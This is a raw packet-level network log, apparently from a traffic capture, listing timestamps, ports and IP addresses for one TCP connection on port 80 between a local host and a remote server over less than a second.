Dec 23, 2024 06:54:23.628210068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.628231049 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.628237009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.628247023 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.628257990 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.628276110 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.628305912 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.629002094 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629056931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629069090 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629106998 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629110098 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.629122972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629131079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.629153013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.629173994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.629920959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629934072 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629944086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629956007 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629966974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629968882 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.629978895 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.629993916 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.630004883 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.630033970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.630695105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.630707026 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.630717039 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.630731106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.630744934 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.630773067 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.631345034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.631500006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.631513119 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.631556988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.631685019 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.631695986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.631707907 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.631731033 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.631742954 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.632034063 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.632167101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.632215977 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.633152008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.633199930 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.633359909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.633405924 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.634181023 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.634247065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.634279013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.634322882 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.768879890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.768893003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.768903017 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.768913984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.768928051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.768943071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.769009113 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.769049883 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.769948959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.770004988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.770118952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.770172119 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.770684004 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.770734072 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.770768881 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.770813942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.771750927 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.771804094 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.771840096 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.771884918 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.772836924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.772887945 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.772964001 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.773010969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.774015903 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.774074078 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.774107933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.774154902 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.777044058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.777056932 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.777076960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.777089119 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.777101040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.777111053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.777146101 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.777355909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.777477026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.778449059 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.778512955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.778608084 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.778657913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.779557943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.779616117 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.779745102 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.779795885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.780395985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.780415058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.780447006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.780473948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.781393051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.781449080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.781676054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.781727076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.782473087 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.782526970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.782938957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.782998085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.783699036 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.783714056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.783750057 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.783762932 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.784796953 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.784811974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.784857988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.785995960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.786010027 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.786061049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.786842108 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.786891937 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.786900997 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.786942005 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.787844896 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.787903070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.788032055 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.788083076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.789094925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.789155006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.789232969 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.789283037 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.790008068 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.790066004 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.790106058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.790150881 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.791264057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.791276932 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.791326046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.792345047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.792402029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.792526007 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.792593956 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.793229103 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.793277979 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.793315887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.793360949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.794297934 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.794357061 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.794388056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.794430971 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.795517921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.795531034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.795577049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.796432972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.796492100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.796847105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.796894073 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.797575951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.797626019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.797736883 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.797782898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.798629045 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.798681021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.798717976 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.798763990 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.799810886 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.799827099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.799880981 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.799896002 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.800903082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.800956011 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.801083088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.801134109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.801846981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.801897049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.801956892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.802000046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.803033113 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.803139925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.803452969 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.803503990 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.804114103 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.804126024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.804172993 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.805191994 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.805203915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.805241108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.806183100 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.806236029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.806601048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.806653023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.807200909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.807255030 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.807332993 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.807383060 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.808317900 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.808367014 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.808495045 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.808546066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.809567928 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.809587955 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.809618950 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.809632063 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.810585022 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.810596943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.810641050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.811722994 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.811743021 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.811774969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.811801910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.812592030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.812652111 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.812666893 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.812711954 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.813740969 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.813791990 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.813920021 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.813973904 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.814886093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.814954042 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.815054893 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.815109968 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.815819025 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.815871954 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.816041946 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.816092014 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.816956043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.816967964 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.817002058 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.817018986 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.817950010 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.818011045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.818037033 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.818085909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.819325924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.819394112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.820607901 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.820662975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.820807934 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.820821047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.820858955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.821154118 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.821203947 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.821240902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.821281910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.822443962 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.822494030 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.822592974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.822639942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.823566914 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.823625088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.959543943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.959619999 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.959678888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.960055113 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.960167885 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.960176945 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.960211039 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.961116076 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.961189985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.961225033 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.961268902 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.962209940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.962320089 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.962368965 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.963279963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.963418007 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.963464022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.964337111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.964385033 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.964436054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.964483023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.965430975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.965481997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.965548992 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.965600014 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.966505051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.966595888 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.966648102 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.967597961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.967645884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.967715025 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.967791080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.968641996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.968770981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.968818903 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.969748020 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.969794989 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.969831944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.969880104 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.970788956 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.970839024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.970879078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.970923901 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.971856117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.971927881 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.971971989 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.972100019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.972958088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.973045111 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.973051071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.973099947 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.974041939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.974127054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.974170923 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.975110054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.975156069 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.975215912 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.975260019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.976208925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.976305008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.976361036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.977252007 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.977320910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.977356911 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.977401972 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.978324890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.978372097 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.978450060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.978494883 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.979407072 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.979453087 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.979494095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.979533911 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.980456114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.980523109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.980561972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.980602980 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.981559038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.981606960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.981654882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.981698990 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.982644081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.982731104 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.982775927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.982800007 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.983681917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.983755112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.983788013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.983827114 CET	49889	80	192.168.2.6	185.215.113.206
